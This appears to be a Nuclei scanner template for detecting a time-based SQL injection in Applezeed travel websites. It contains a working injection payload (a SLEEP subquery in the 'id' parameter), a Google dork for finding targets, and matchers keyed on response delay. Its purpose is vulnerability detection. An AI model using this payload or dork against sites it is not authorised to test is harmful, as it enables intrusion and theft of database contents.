id: applezeed-sqli

info:
  name: Applezeed - SQL Injection
  author: r3Y3r53
  severity: high
  description: |
    Applezeed's 'travel-details.php?id=' URL with possible time-based SQL injection (SQLi) vulnerability allows attackers to manipulate the 'id' parameter, potentially causing delays in SQL queries and unauthorized retrieval of travel information from the database
  reference:
    - https://cxsecurity.com/issue/WLB-2019120057
  classification:
    cwe-id: CWE-89
  metadata:
    verified: true
    max-request: 1
    google-query: intext:"Power BY applezeed.com"
  tags: time-based-sqli,sqli,unauth,applezeed,vuln

http:
  - raw:
      - |
        @timeout: 15s
        GET /travel-detail.php?id=1%27AND%20(SELECT%20*%20FROM%20(SELECT(SLEEP(6)))bAKL)%20AND%20%27vRxe%27=%27vRxe HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'duration>=6'
          - 'contains(content_type, "text/html")'
          - 'contains(body, "applezeed")'
          - 'status_code == 200'
        condition: and
# digest: 490a00463044022021b622ea18c0244e5fa7432e37d0d386e52df277847ae871006b6ad648ce8b440220630d4b32570474a02babac4a0cb2f76fb3798550985323cdff66f8356f7e6e74:922c64590222798bb761d5b6d8e72950